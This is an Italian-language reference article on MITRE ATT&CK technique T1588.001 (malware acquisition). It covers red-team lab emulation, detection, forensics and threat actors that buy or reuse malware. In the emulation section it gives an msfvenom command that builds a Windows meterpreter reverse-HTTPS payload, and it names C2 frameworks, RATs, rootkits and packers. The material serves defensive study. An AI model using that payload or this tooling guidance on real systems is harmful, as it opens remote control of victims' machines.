Malware: Acquisizione di Codice Malevolo (T1588.001)

Trattandosi di una tecnica pre-compromise (TA0042), l'obiettivo in un esercizio red team non è "attaccare" ma simulare l'approvvigionamento di capacità offensive in modo lab-safe, documentando provenienza e caratteristiche del codice usato.

Il primo passo è costruire un arsenale tracciabile all'interno di un ambiente isolato. Per i framework di comando e controllo, Cobalt Strike (a pagamento) resta lo standard emulato da molti gruppi censiti, ma per un laboratorio senza licenza si ripiega su alternative open-source come Sliver (open source), Mythic (open source) o Havoc (open source), che replicano beacon, listener e capacità post-exploitation. Per i RAT storicamente acquisiti dagli attori — Remcos, njRAT, AsyncRAT — è preferibile usare le versioni presenti in dataset di ricerca come theZoo (open source) o campioni detonati in una sandbox segregata, mai su reti di produzione.

La generazione dei payload va gestita con toolchain riproducibili. Un dropper di prova si costruisce con msfvenom dal Metasploit Framework (open source), ad esempio:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f exe -o payload.exe

Per emulare l'uso di packer e crypter — categoria a cui appartengono le offerte Packer-as-a-Service osservate in alcune campagne — in laboratorio si studia l'offuscamento con strumenti open come UPX (open source) per il packing base, o con tecniche di obfuscation per Windows tramite Invoke-Obfuscation (open source) sui payload PowerShell.

La catena d'attacco tipica che si ricostruisce parte dal MaaS acquisito: consegna via phishing con temi generici (COVID-19, banking, avvisi legali), esecuzione del loader, deploy del RAT e stabilizzazione con un beacon C2. Per la parte kernel/rootkit — richiamata dall'uso di rootkit pubblici come REPTILE e MEDUSA su Linux — l'analisi va confinata a VM Linux dedicate, caricando i moduli in un kernel di test con insmod solo dopo snapshot ripristinabile.

Dal punto di vista operativo, il valore dell'esercizio sta nel watermarking: assegnare hash, timestamp di compilazione e stringhe identificative note ai propri sample, così che il blue team possa poi correlarli. Questo replica fedelmente la realtà, dove strumenti condivisi tra più gruppi (un "quartermaster" comune) generano overlap rilevabili. Documentare la provenienza — repository, forum, sample rubato — è parte integrante del report finale.

Poiché l'acquisizione del malware avviene al di fuori del perimetro aziendale, il SOC non osserva la transazione ma il momento in cui quel codice viene usato: consegna, esecuzione e attività C2. La detection va quindi spostata sulle fasi post-compromise, concentrando gli sforzi sui comportamenti dei payload commodity più ricorrenti nei dati (Remcos, njRAT, AsyncRAT, Cobalt Strike, Redline, Azorult).

Le fonti di log prioritarie sono l'EDR/telemetria di processo, i log di PowerShell script block (EventCode 4104), Sysmon per creazione processi (Event ID 1), connessioni di rete (Event ID 3), creazione file (Event ID 11) e caricamento moduli (Event ID 7), insieme ai log DNS e proxy per il traffico verso l'infrastruttura C2. Su Linux, l'equivalente si ottiene con auditd o Sysmon for Linux (open source), utile a intercettare il caricamento di moduli kernel malevoli come i rootkit pubblici osservati.

Sul piano comportamentale, i RAT commodity mostrano pattern riconoscibili: processi figli anomali generati da applicazioni Office o da script, mutex noti, persistenza via chiavi Run del registro, beacon periodici con jitter regolare verso domini a bassa reputazione. I profili di traffico di Cobalt Strike — beaconing HTTPS con intervalli e User-Agent tipici — si intercettano con firme di rete come le regole Suricata (open source) delle Emerging Threats e con l'analisi JA3/JA3S delle handshake TLS.

Un contributo decisivo arriva dall'intelligence sui campioni. Interrogare piattaforme come VirusTotal (freemium), MalwareBazaar (gratuito) e Hybrid Analysis (freemium) sugli hash osservati permette di riconoscere famiglie MaaS e correlare compiler, watermark e configurazioni. Regole YARA (open source) mirate alle stringhe di configurazione di Remcos o njRAT abilitano hunting retroattivo sugli archivi di sample.

Sul fronte preventivo, restano validi i controlli di content ed email protection e l'applicazione rigorosa di SPF, DKIM e DMARC, dato che le campagne censite (Operation Spalax) distribuivano malware acquisito proprio via phishing.

Attenzione ai falsi positivi: molti RAT open-source e lo stesso Cobalt Strike sono usati legittimamente in penetration test autorizzati. Un beacon rilevato va sempre correlato con eventuali attività red team pianificate e con la reputazione della destinazione prima di dichiarare l'incidente. La condivisione di uno stesso tool tra attori diversi, inoltre, riduce il valore attributivo del singolo IOC: conta il contesto complessivo.

L'indagine forense su questa tecnica ha una natura duale: da un lato si ricostruiscono le caratteristiche del campione per capire da dove l'avversario lo ha acquisito, dall'altro si raccolgono gli artefatti endpoint che emergono dopo la detonazione del codice acquisito.

L'analisi del campione parte dalle sue proprietà intrinseche. Il compilation timestamp dell'header PE, la Rich Header, le stringhe di debug residue, gli import e le sezioni compresse dai packer sono indizi sul toolchain e sull'eventuale offerta MaaS di provenienza. Strumenti come pefile (open source), CAPA (open source) per il mapping delle capacità, e Detect It Easy (open source) per l'identificazione di packer e crypter aiutano a caratterizzare il binario. Il calcolo di imphash e TLSH/ssdeep consente il clustering con campioni noti negli archivi malware, evidenziando gli overlap tra gruppi che segnalano codice condiviso o rubato piuttosto che sviluppato in proprio.

Sull'endpoint Windows, la timeline si costruisce dagli artefatti di esecuzione: Prefetch (C:\Windows\Prefetch) per la prima esecuzione e la frequenza, Amcache.hve e ShimCache per la presenza del binario, le chiavi Run/RunOnce e i Scheduled Task per la persistenza tipica dei RAT commodity, e gli UserAssist/ShellBags per l'interazione utente. I log Windows Event (Security 4688, PowerShell 4104) e la memoria volatile completano il quadro; l'analisi RAM con Volatility 3 (open source) estrae processi iniettati, configurazioni C2 in chiaro e beacon di Cobalt Strike, spesso recuperabili con parser dedicati come quelli di Volatility per la config del beacon.

Su Linux e sistemi embedded — rilevante per le campagne contro router Junos (J-magic Campaign) e per l'uso di rootkit REPTILE e MEDUSA — l'attenzione si sposta su moduli kernel anomali, file nascosti, alterazioni di dmesg e log di auditd, verificando l'integrità dei binari di sistema.

Sul versante esterno, la ricostruzione della fase di acquisizione si appoggia a fonti pubbliche: passive DNS e WHOIS storico per l'infrastruttura di distribuzione, e i repository di malware per datare la prima comparsa del sample. Le campagne documentate offrono riferimenti concreti: Night Dragon con trojan da siti underground, Operation Spalax con Remcos, njRAT e AsyncRAT, C0015 con Bazar, Cobalt Strike e Conti. Correlare hash e watermark tra questi casi permette di ipotizzare un quartermaster comune.

L'adozione di malware acquisito taglia trasversalmente tutto lo spettro degli attori, dai gruppi statali di alto profilo alla criminalità finanziaria, e proprio questa trasversalità la rende un indicatore attributivo debole ma un ottimo tracciante di relazioni tra gruppi.

Un caso emblematico è Turla (G0010), che ha impiegato malware ottenuto compromettendo altri threat actor, in particolare OilRig. Questo furto di capacità tra avversari è raro e prezioso per l'intelligence, perché genera overlap che possono depistare l'attribuzione: ritrovare uno stesso tool in mano a gruppi diversi non implica necessariamente una collaborazione. Sul versante opposto per motivazione, BackdoorDiplomacy (G0135) ha riutilizzato exploit trafugati e resi pubblici — DoublePulsar, EternalBlue, EternalRocks, EternalSynergy — esempio di come arsenali leaked di origine statale finiscano nell'operatività di gruppi diversi.

Nella criminalità a matrice finanziaria emergono pattern di consumo di massa. TA505 (G0092) ha impiegato Azorult e Cobalt Strike; LAPSUS$ (G1004) ha acquistato l'infostealer Redline; Scattered Spider (G1015) si è procurato information stealer, remote access tool e ransomware per coprire più fasi dell'operazione. TA2541 (G1018) attinge sistematicamente a forum criminali e repository open per rifornirsi di ceppi diversi.

Diversi attori scelgono deliberatamente strumenti pubblici per mimetizzarsi: MuddyWater (G0069) usa malware disponibile pubblicamente per confondersi con la massa dei cybercriminali, strategia condivisa da LazyScripter (G0140) e Andariel (G0138), entrambi orientati ai RAT open-source. APT-C-36 (G0099) combina il Packer-as-a-Service HeartCrypt, PureCrypter e il RAT open Remcos, mentre Aquatic Panda (G0143) e Earth Lusca (G1006) — quest'ultimo con Cobalt Strike — confermano la tendenza cinese a integrare tool commodity in campagne di spionaggio.

Sul piano geografico si distinguono cluster: attori riconducibili alla Cina (APT1, Earth Lusca, Aquatic Panda, LuminousMoth, UNC3886 con i rootkit REPTILE e MEDUSA) e all'Iran (MuddyWater), accanto a operatori più opportunistici come Ember Bear (G1003), che si rifornisce da forum del dark web, e Metador (G1013), che invece impiega malware unico come metaMain e Mafalda. Le campagne Operation Spalax, Night Dragon, FunnyDream, C0015 e J-magic Campaign illustrano il trend dominante: preferire l'acquisto o il riuso al costoso sviluppo interno.

MITRE ATT&CK: tecnica T1588.001 (Malware), tattica TA0042 (Resource Development). Gruppi, campagne (C0002 Night Dragon, C0005 Operation Spalax, C0007 FunnyDream, C0015, C0050 J-magic Campaign), mitigazione M1056 e detection DET0845/AN1977 come da dati forniti. Tool di detection e analisi citati: Sysmon, Suricata, YARA, Volatility 3, CAPA, pefile, Detect It Easy, VirusTotal, MalwareBazaar. Per comandi, tool forensi e procedure operative è stata integrata conoscenza professionale di cybersecurity.